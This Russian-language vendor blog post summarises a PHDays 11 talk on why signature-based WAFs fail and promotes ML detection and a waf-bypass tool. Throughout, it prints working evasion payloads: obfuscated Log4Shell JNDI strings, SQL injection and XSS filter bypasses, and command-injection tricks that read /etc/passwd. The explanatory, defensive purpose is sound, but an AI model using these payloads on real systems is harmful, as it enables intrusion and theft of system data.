19 мая наш коллега Романов Роман выступил на PHDays 11 с докладом, где вкратце рассказал о том, как в 2022 году с помощью WAF противостоять атакам на веб-приложения и почему сигнатурный метод - не лучший для этого выбор.

Positive Hack Days — международный форум по практической безопасности, который проходит в Москве ежегодно начиная с 2011 года. Организатор — компания Positive Technologies.

Начнем с начала

Использование WAF сопровождается двумя проблемами - пропуски атак и ложные срабатывания. Для уменьшения ложных срабатываний ослабляют правила блокировки, что увеличивает количество пропусков атак, а попытка уменьшения пропусков путем усиления правил - увеличивает ложные срабатывания. Например, если написать правило, которое будет блокировать запрос по ключевому слову select или or, то заблокированы будут и легитимные запросы, например, содержащие selector.php.

Качественно написанная база правил, в целом, позволяет защитить веб-приложение от большинства нецелевых атак, но не гарантирует полной защищенности.

Информация предоставлена исключительно в ознакомительных целях. Не нарушайте законодательство!

Недавний пример с уязвимостью Log4J наглядно показывает, что на каждый байпас атакующий может написать новый.

${jndi:dns://example.com/...}
${jndi:rmi://example.com/...}
${jndi:ldap://example.com/Basic/Command/Base64/...}
${jndi:${lower:l}${lower:d}a${lower:p}://ex${upper:a}mple.com/...}
${${::-j}${::-n}${::-d}${::-i}${::-r}${::-m}${::-i}://example.com/...}
$\{$\{::-j\}$\{::-n\}$\{::-d\}$\{::-i\}:$\{::-r\}$\{::-m\}$\{::-i\}://$\{env:USER\}.example.com/...}
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//example.com/...}

Первые 3 строки - пример эксплуатации уязвимости из-за некорректной работы интерфейса JNDI (Java Naming and Directory Interface), который позволяет программе на языке Java находить и подключать внешние объекты данных, данные могут загружаться атакующим буквально откуда угодно. Последний вариант, кстати, передает данные в Base64.

Последние 4 строчки - варианты байпасов для обхода WAF. Полезные нагрузки составлены на основе документации по Apache Log4j и включают в себя:

  • {lower:} и {upper:} - преобразование символов в верхний/нижний регистр;

  • {env:ENV_NAME:-} - использование переменной среды;

  • {::-} - подстановку строк.

Кстати, попытки эксплуатации и поиски новых байпасов продолжаются до сих пор:

Запрос был заблокирован модулем Nemesida AI и не был определен сигнатурным анализом как атака
Запрос был заблокирован модулем Nemesida AI и не был определен сигнатурным анализом как атака

SQL-инъекции' union select 1,2,3,4#

Способов обхода сигнатурного анализа можно придумать много — от банального расщепления нагрузки вроде un","ion se","lect и до использования различных кодировок и манипуляций. Вот несколько способов написания слова select для обхода фильтров:

  • SeLeCt

  • selSELECTect

  • se%6cect

  • %53%45%4c%45%43%54

  • %2553%2545%254c%2545%2543%2554

Ключевые слова можно и не расщеплять, а просто убирать пробелы между ними. Это можно сделать, например, так:

union+select+1,2,3...

или так:

union/**/select/**/1,2,3...

или даже так:

union(select(1),2,3...

Также можно использовать HPP (HTTP Parameter Pollution) для обхода:

id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

Идея в том, чтобы расщеплять полезную нагрузку и передавать ее, повторяя один и тот же параметр.

Вариантов много и под каждый из них составить правило, без увеличения пропусков атак или ложных срабатываний, не получится.

<script>alert('XSS')</script>

Фильтры на основе сигнатур, предназначенные для блокировки атак XSS, обычно используют регулярные выражения или другие методы для идентификации ключевых компонентов HTML, таких как скобки тегов, имена тегов, имена атрибутов и их значения.

Вместо стандартного <script>alert(‘xss’)</script> можно использовать <img onerror=alert(1) src=a>. А уже его можно изменять множеством способом для обхода WAF:

  • <iMg onerror=alert(1) src=a> - использовать разный регистр при написании тега;

  • <x onclick=alert(1) scr=a>Click</x> - использовать произвольный тег;

  • <img/onerror=alert(1) src=a> - один или несколько символов в конце тега могут сработать в качестве пробела между именем тега и значением атрибута;

  • ""+{toString:alert} - в некоторых браузерах выполняет функцию без использования () и знака =;

Также на кодировках основаны многие способы обхода WAF. Например, последовательность alert() можно частично или полностью передать как:

UTF-8

\x61\x6c\x65\x72\x74\x28\x29

UTF-16

\u0061\u006c\u0065\u0072\u0074\u0028\u0029

UTF-32

u+00000061u+0000006cu+00000065u+00000072u+00000074u+00000028u+00000029

Не стоит забывать и про нестандартные кодировки, которые часто не распознаются WAF: HTTP Entity Encode, Base64, UTF-8 Halfwidth and Fullwidth Forms, множественные URL Encode и т. д.

Под каждый вариант можно попробовать составлять сигнатуры, но, скорее всего, они увеличат количество ложных срабатываний или пропусков атак.

?cmd=; echo 'OS Command Injection'

Атаки этого типа нацелены на выполнение произвольного кода на сервере, поэтому основная задача передать полезную нагрузку в таком виде, в котором он будет интерпретирован целевой системой, но не будет обнаружен WAF. Тут можно использовать несколько способов:

Используя особенность обработки данных Bash-интерпретатором (при наличии OS Command Injection), мы можем прочитать содержимое файла, например, /etc/passwd, выполнив расщепление данных с помощью кавычки:

ca't /et'c'/pas's'wd

или символа ?, который будет преобразован до нужной буквы (/bin/cat /etc/passwd):

/bi?/ca? /et?/pa??wd
/???/??t /???/pa??wd

Даже используя неинициализированную переменную можно расщипить последовательность /etc/passwd и обойти фильтрацию сигнатурами, где $u будет пустой строкой:

cat$u /etc$u/passwd$u

Изменяя разными способами один и тот же запрос, блокируемый сигнатурами WAF, мы можем получить выражение, которое WAF не распознает как атаку.

ec'h'o 'cat /etc/examplewd' | sed 's/example/pass/g' | bash

Данный метод последовательно выполняет: команду echo cat /etc/examplewd, затем с помощью функции sed необходимый участок строки cat /etc/examplewd заменяется по шаблону. После этого уже измененная строка передается в Bash и выполняется на сервере, возвращая результат пользователю. Для WAF такой запрос будет выглядеть как строка, в которой отсутствуют признаки сигнатур.

Можно ли полностью перекрыть подобные попытки обхода сигнатурами? - сказать сложно. Даже если и получится, на каждый метод обхода составить собственное правило, на длинной дистанции это скорее всего приведет к большому количеству пропусков атак или ложным срабатываниями.

Машинное обучение

Недостаток сигнатурного метода обнаружения атак, по сравнению с машинным обучением, очевиден — высокая вероятность обхода WAF с большим количеством ложных срабатываний. Тем не менее, сигнатурный анализ работает быстро и обеспечивает базовую защиту веб-приложения в период обучения и даже после завершения обучения служит первым эшелоном защиты, блокируя очевидные атаки.

Недостаток же машинного обучения - низкая скорость обработки запросов (по сравнению с сигнатурным анализом) и повышенное потребление аппаратных ресурсов сервера. Хоть этот недостаток компенсирует более высокая точность, главное преимущество перед сигнатурами - блокировка запроса на основе совокупности признаков атаки в нем.

То есть, ML предназначен для того, чтобы выявлять и блокировать запросы, которые сигнатурный анализ определить не сможет:

?cmd=/???/??t /???/p?????

Как проверить, на что способен WAF?

Оценить качество защищенности веб-приложения может каждый. На Github мы опубликовали собственный инструмент waf-bypass, с помощью которого можно оценить используемый в данный момент WAF. Этот бесплатный инструмент содержит почти 1500 полезных нагрузок для SQLi, XSS, SSTI, RCE, LFI/RFI и т.д.

Комментарии (0)